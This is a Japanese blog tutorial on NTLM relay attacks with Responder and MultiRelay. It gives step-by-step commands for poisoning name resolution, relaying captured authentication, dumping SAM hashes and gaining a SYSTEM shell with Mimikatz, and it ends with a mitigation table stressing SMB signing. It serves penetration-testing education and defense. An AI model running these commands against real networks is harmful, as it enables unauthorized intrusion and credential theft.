Responder-MultiRelay の使い方徹底解説 実践ガイド

セキュリティツール

はじめに

内部ネットワークへのペネトレーションテストにおいて、初期の足掛かりを得るために Responder というツールがよく用いられます。Responder は、ネットワーク内で名前解決に失敗した通信を傍受し、認証情報を取得する機能を持っています。しかし、取得したハッシュ化されたパスワード(NTLM ハッシュ)が複雑で解読できない場合もあります。

そこで登場するのが、Responder に同梱されている MultiRelay です。MultiRelay は、Responder が傍受した認証情報を、ネットワーク内の別のマシンに「中継(リレー)」することで、パスワードを解読することなく、そのマシンへのアクセス権を取得しようと試みるツールです。これを NTLM リレー攻撃と呼びます。🎯

このブログ記事では、Responder と MultiRelay を連携させた NTLM リレー攻撃の仕組みと、その具体的な使い方、そして重要な防御策について詳しく解説していきます。

⚠️ 注意: ここで解説する技術は、許可されたペネトレーションテストやセキュリティ評価の目的でのみ使用されるべきです。許可なく他者のシステムに対してこれらの技術を使用することは、不正アクセス行為となり、法的に罰せられる可能性があります。倫理的な利用を心がけてください。

Responder と MultiRelay の概要

Responder

Responder は、主に内部ネットワークにおいて、LLMNR (Link-Local Multicast Name Resolution)、NBT-NS (NetBIOS Name Service)、mDNS (Multicast DNS) といった名前解決プロトコルの要求に応答を偽装(ポイズニング)するツールです。

クライアントがこれらのプロトコルを使って存在しない、あるいはタイプミスしたホスト名を解決しようとすると、Responder は自身がそのホストであるかのように応答します。クライアントは Responder を正規のサーバーと信じ込み、認証情報を送信しようとします。Responder はこの認証情報(通常は NTLM ハッシュ)を傍受し、ログに記録します。

MultiRelay

MultiRelay は、Responder が傍受した認証情報(特に NTLM 認証)を、指定したターゲットマシンに対して中継(リレー)するツールです。

Responder がクライアントから NTLM 認証要求を受け取ると、それを MultiRelay に渡し、MultiRelay はその認証情報をターゲットマシンに転送します。ターゲットマシンがその認証を受け入れれば、MultiRelay はそのマシン上でコマンドを実行したり、他の情報を取得したりできます。

Responder と MultiRelay は連携して動作します。Responder が名前解決のポイズニングと認証情報の傍受を担当し、MultiRelay がその認証情報をターゲットに中継してアクセスを試みます。この連携により、パスワードを直接知ることなく、ネットワーク内の他のマシンへのアクセス権を獲得できる可能性があります。

MultiRelay の動作原理 (NTLM リレー攻撃)

MultiRelay が行う NTLM リレー攻撃は、NTLM 認証プロトコルの仕組みと、特定のネットワーク設定の不備を利用します。

  1. 名前解決ポイズニング: ユーザーが存在しないファイル共有などにアクセスしようとすると、Windows は LLMNR や NBT-NS を使って名前解決を試みます。Responder はこれらの要求を監視し、自身が目的のサーバーであるかのように応答します。
  2. 認証要求の傍受: クライアントは Responder を正規のサーバーと信じ、NTLM 認証プロセスを開始します。Responder はこの認証要求 (NTLM チャレンジ/レスポンス) を受け取ります。
  3. MultiRelay への転送: Responder は傍受した認証情報を MultiRelay に渡します。
  4. ターゲットへのリレー: MultiRelay は、受け取った認証情報を、攻撃者が指定したターゲットマシンに転送します。
  5. 認証とアクセス: ターゲットマシンが以下の条件を満たす場合、リレーされた認証が成功する可能性があります。
    • SMB 署名が無効または必須でない: ターゲットマシンで SMB 署名が必須になっていない場合、中間者攻撃を防ぐ検証が行われないため、リレーが成功しやすくなります。これが最も重要な条件です。
    • ユーザー権限: リレーされた認証情報に対応するユーザーアカウントが、ターゲットマシン上で管理者権限などの十分な権限を持っている場合。
  6. コマンド実行など: 認証が成功すると、MultiRelay はターゲットマシン上でコマンドを実行したり、SAM (Security Account Manager) データベースのハッシュをダンプしたり、対話的なシェルを取得したりできます。

重要な点として、MS08-068 のパッチ以降、認証情報を取得したマシン自身にその認証情報をリレーすることはできません。また、Responder で事前に収集して保存したハッシュをリレーすることはできず、リアルタイムの認証要求のみが対象となります。

MultiRelay のセットアップと基本的な使い方

MultiRelay を使用するには、まず Responder をセットアップし、特定の設定を行う必要があります。Responder は Kali Linux にデフォルトで含まれていることが多いですが、最新版を GitHub から取得することも推奨されます。

MultiRelay を使用する場合、Responder 自体の SMB サーバーと HTTP サーバーを無効にする必要があります。これは、MultiRelay がこれらのポート (TCP 445 および TCP 80) を使用してリレー攻撃を行うためです。

Responder の設定ファイル (`/etc/responder/Responder.conf` や、Responder のディレクトリ内の `Responder.conf`) を編集します。

[Responder Core]
; Servers to start
; -- You can turn on/off the servers --
; Activate or deactivate the SMB Server
SMB = Off

; Activate or deactivate the HTTP Server
HTTP = Off

上記のように `SMB` と `HTTP` の値を `Off` に変更して保存します。

設定を変更したら、Responder を起動します。インターフェースを指定し、必要に応じてオプションを追加します。`-I` でネットワークインターフェース名を指定します。`-v` (verbose) をつけると詳細なログが表示されます。

sudo python Responder.py -I eth0 -v

起動時のログで、SMB Server と HTTP Server が `[OFF]` になっていることを確認してください。

[+] SMB Server status:         [OFF]
[+] HTTP Server status:        [OFF]

Responder が動作している状態で、別のターミナルを開き、MultiRelay を起動します。MultiRelay は Responder の `tools` ディレクトリ内にあります。

基本的な構文は以下の通りです。

sudo python tools/MultiRelay.py -t <ターゲットIP> -u <ユーザー名 or ALL> [-c <コマンド>] [-d]
  • -t <ターゲットIP>: NTLM 認証をリレーする先のターゲットマシンの IP アドレスを指定します。
  • -u <ユーザー名 or ALL>: リレー対象とするユーザーアカウントを指定します。特定のユーザー名(例: `Administrator`)や、すべてのユーザーを対象とする場合は `ALL` を指定します。
  • -c <コマンド> (オプション): 認証成功時にターゲットマシンで実行するコマンドを指定します。
  • -d (オプション): 認証成功時にターゲットマシンのローカルアカウントのパスワードハッシュ(SAM ハッシュ)をダンプします。

例: ターゲット IP `192.168.1.100` に対して、すべてのユーザーの認証をリレーし、成功したら SAM ハッシュをダンプする場合:

sudo python tools/MultiRelay.py -t 192.168.1.100 -u ALL -d

例: ターゲット IP `192.168.1.150` に対して、ユーザー `AdminUser` の認証のみをリレーし、成功したらインタラクティブシェルを取得する場合(`-c` や `-d` を指定しない):

sudo python tools/MultiRelay.py -t 192.168.1.150 -u AdminUser

Responder と MultiRelay が起動したら、ネットワーク内のクライアントが Responder によってポイズニングされるのを待ちます。ユーザーが存在しない共有フォルダにアクセスしたり、ホスト名をタイプミスしたりすると、Responder が応答し、認証情報が MultiRelay に渡され、ターゲットへのリレーが試行されます。

MultiRelay は、リレー試行の状況や結果をターミナルに表示します。認証が成功すれば、指定したアクション(コマンド実行、ハッシュダンプ、シェル取得)が実行されます。💻

MultiRelay は、同じアカウントによる認証試行が失敗した場合、アカウントロックアウトを防ぐために、その後の試行をブロックすることがあります。

実践的な攻撃シナリオ

ここでは、MultiRelay を使用した具体的な攻撃シナリオをいくつか紹介します。

シナリオ1: コマンド実行によるシェル取得

このシナリオでは、ターゲットマシン上で任意のコマンドを実行し、最終的に対話的なシェル(操作プロンプト)を獲得することを目指します。

  1. ターゲットの特定: まず、SMB 署名が無効になっている可能性のあるターゲットマシンを特定します。Responder に含まれる `RunFinger.py` ツールを使用できます。
    sudo python tools/RunFinger.py -i 192.168.1.0/24
    出力結果で `Signing: False` となっているホストを探します。
  2. Responder/MultiRelay の設定と起動:
    • Responder の設定ファイルで SMB と HTTP を Off にします。
    • Responder を起動します: `sudo python Responder.py -I eth0 -v`
    • MultiRelay を起動します(ターゲット IP: 192.168.1.120、全ユーザー対象、コマンド実行なしでシェル狙い): `sudo python tools/MultiRelay.py -t 192.168.1.120 -u ALL`
  3. リレーの待機と成功: ネットワーク上の誰かが Responder に誘導され、そのユーザーがターゲットマシン `192.168.1.120` のローカル管理者権限を持っている場合、MultiRelay は認証をリレーし、成功すると以下のような表示と共にインタラクティブなシェルプロンプトが表示されることがあります。
    [SMB] NTLMv2 Relay - Target: 192.168.1.120 User: DOMAIN\AdminUser Authenticated! Enjoy your shell :)
    [*] Dropping into an interactive shell
    
    Available commands:
        mimi     : Execute Mimikatz
        mimi32   : Execute 32 bits Mimikatz
        get      : Download a file from the target
        put      : Upload a file to the target
        reg_read : Read a registry HKLM key on the target
        reg_save : Dump the SAM, SECURITY or SYSTEM HKLM registry keys
        run      : Execute a command as SYSTEM
        scan     : Scan the target for missing patches (requires wmic)
        exit     : Exit session
    
    MultiRelay#
  4. コマンド実行: `MultiRelay#` プロンプトで、`run whoami` のようにコマンドを実行できます。Mimikatz を実行してさらに認証情報を窃取したり (`mimi` コマンド)、ファイルをアップロード/ダウンロードしたりすることも可能です。

シナリオ2: SAM ハッシュのダンプ

このシナリオでは、ターゲットマシンのローカルアカウントのパスワードハッシュ(SAM ファイルに保存されているハッシュ)をダンプすることを目指します。これにより、オフラインでのパスワードクラックが可能になります。

  1. ターゲットの特定と Responder の起動: シナリオ1と同様に行います。
  2. MultiRelay の起動(ハッシュダンプ指定): `-d` オプションを付けて MultiRelay を起動します(ターゲット IP: 192.168.1.120、全ユーザー対象)。
    sudo python tools/MultiRelay.py -t 192.168.1.120 -u ALL -d
  3. リレーの待機と成功: リレーが成功すると、MultiRelay はターゲットから SAM、SYSTEM、SECURITY ハイブをダンプしようと試み、成功すればハッシュ情報を表示します。
    [SMB] NTLMv2 Relay - Target: 192.168.1.120 User: DOMAIN\AdminUser Authenticated! Dumping SAM hashes...
    Administrator:500:aad3b435b51404eeaad3b435b51404ee:...(省略)...:::
    Guest:501:aad3b435b51404eeaad3b435b51404ee:...(省略)...:::
    ... (他のローカルアカウント) ...
  4. 後続処理: 取得したハッシュは、Hashcat や John the Ripper などのツールを使用してオフラインでクラックを試みることができます。
繰り返しになりますが、これらの攻撃シナリオは、必ず適切な許可を得た環境でのみ実施してください。無許可での実行は深刻な法的問題を引き起こします。

MultiRelay の高度なオプションとテクニック

MultiRelay には、より詳細な制御や特定の状況に対応するためのオプションがあります。

  • ターゲットリストファイルの使用 (-tf): 単一のターゲット IP の代わりに、複数のターゲット IP を記述したファイルを指定できます。
    sudo python tools/MultiRelay.py -tf targets.txt -u ALL
    `targets.txt` には、1行に1つの IP アドレスを記述します。
  • 特定のユーザーのみを対象 (-u): -u ALL の代わりに、特定のユーザー名(例: -u Administrator DOMAIN\BackupAdmin のようにスペース区切りで複数指定可能)を指定することで、リレー対象を絞り込み、ノイズを減らすことができます。これは、特権アカウントのみを狙う場合に有効です。
  • 追加ポートでのリッスン (-p): 標準のポート(80, 445)以外に、HTTP/WebDAV/Proxy リクエストをリレーするために追加のポートを指定できます。
  • インタラクティブシェルコマンド: シェルを取得した場合、mimi (Mimikatz実行)、get/put (ファイル転送)、reg_read/reg_save (レジストリ操作)、run (コマンド実行) などの組み込みコマンドを利用して、ターゲットシステムをさらに調査・操作できます。
  • リレーが成功しない:
    • ターゲットマシンで SMB 署名が必須になっている可能性があります。`RunFinger.py` で確認してください。
    • リレーしようとしているユーザーが、ターゲットマシン上で十分な権限を持っていない可能性があります。
    • ネットワーク経路上のファイアウォールなどが通信をブロックしている可能性があります。
    • Responder の設定で SMB/HTTP が Off になっているか再確認してください。
  • エラーメッセージが出る: エラーメッセージの内容を確認し、必要なライブラリがインストールされているか、権限(sudo など)が適切かを確認してください。場合によっては、MultiRelay が依存する外部バイナリ(`Runas.exe`, `Syssvc.exe` など)のコンパイルが必要になることがあります。

対策と緩和策 🛡️

Responder と MultiRelay による NTLM リレー攻撃は強力ですが、適切な対策を講じることでリスクを大幅に軽減できます。

対策 説明 効果
SMB 署名の有効化と強制 グループポリシー (GPO) を使用して、ネットワーク内のすべての Windows マシン(特にサーバー)で SMB 署名を必須に設定します。
ポリシー項目:
  • Microsoft network client: Digitally sign communications (always)
  • Microsoft network server: Digitally sign communications (always)
非常に効果的。 SMB リレー攻撃に対する最も直接的かつ強力な防御策です。MultiRelay は署名が必須のターゲットには攻撃できません。
LLMNR と NBT-NS の無効化 グループポリシーやレジストリ設定により、これらの古い名前解決プロトコルを無効化します。DNS が正しく機能していれば、通常これらのプロトコルは不要です。 効果的。 Responder による名前解決ポイズニングの主要な手段を無効化します。
ネットワークセグメンテーション VLAN などを使用してネットワークを適切に分割し、攻撃者がアクセスできる範囲を制限します。特に、クライアントセグメントからサーバーセグメントへの不要な通信を制限します。 効果的。 攻撃の範囲を限定し、重要なサーバーへのリレーを防ぐのに役立ちます。
特権アクセス管理 (PAM) ドメイン管理者などの特権アカウントの使用を最小限に抑え、必要な場合にのみ一時的に利用します。また、ローカル管理者パスワードの使い回しをやめ、LAPS (Local Administrator Password Solution) などの導入を検討します。 効果的。 リレーが成功した場合の影響を軽減します。特権アカウントの認証情報がリレーされにくくなります。
認証の拡張保護 (EPA) サポートされているサービス (Exchange, AD CS など) で EPA (Extended Protection for Authentication) を有効にします。これは、中間者攻撃を防ぐためにチャネルバインディングを使用します。 効果的。 特定のサービスに対する NTLM リレー攻撃を防ぎます。
WPAD の無効化またはセキュアな設定 Web Proxy Auto-Discovery (WPAD) プロトコルが悪用されることがあるため、不要であれば無効化するか、DNS や DHCP で正しく設定します。 中程度。 Responder が WPAD を悪用する経路を塞ぎます。
エンドポイントセキュリティと監視 EDR (Endpoint Detection and Response) やセキュリティ監視ソリューションを導入し、Responder や MultiRelay のようなツールの活動や、異常な NTLM 認証試行を検知・ブロックします。 補完的。 攻撃の検知と対応に役立ちますが、根本的な対策ではありません。

これらの対策を組み合わせることで、NTLM リレー攻撃のリスクを効果的に管理できます。特に SMB 署名の強制は、最も重要な対策の一つです。

まとめ

Responder と MultiRelay は、ペネトレーションテストにおいて、ネットワーク内部のセキュリティ体制を評価するための強力なツールです。Responder が LLMNR/NBT-NS ポイズニングによって認証情報を傍受し、MultiRelay がその認証情報を SMB 署名が無効なターゲットにリレーすることで、パスワードをクラックすることなくシステムへのアクセス権を得られる可能性があります。

この攻撃の成功は、SMB 署名が無効であること、リレーされるアカウントがターゲットに対して権限を持つことなど、いくつかの条件に依存します。攻撃者にとっては効率的な手法ですが、防御側にとっては深刻な脅威となりえます。

最も重要な対策は、SMB 署名を有効化し、強制することです。加えて、LLMNR/NBT-NS の無効化、ネットワークセグメンテーション、特権アクセス管理などの対策を組み合わせることで、NTLM リレー攻撃のリスクを大幅に低減できます。

これらのツールと攻撃手法を理解することは、自組織のネットワークを保護するために不可欠です。常に最新のセキュリティ情報を把握し、適切な対策を講じることが重要です。そして、これらのツールは倫理的に、許可された範囲でのみ使用するようにしてください。🔒

参考情報

コメント

タイトルとURLをコピーしました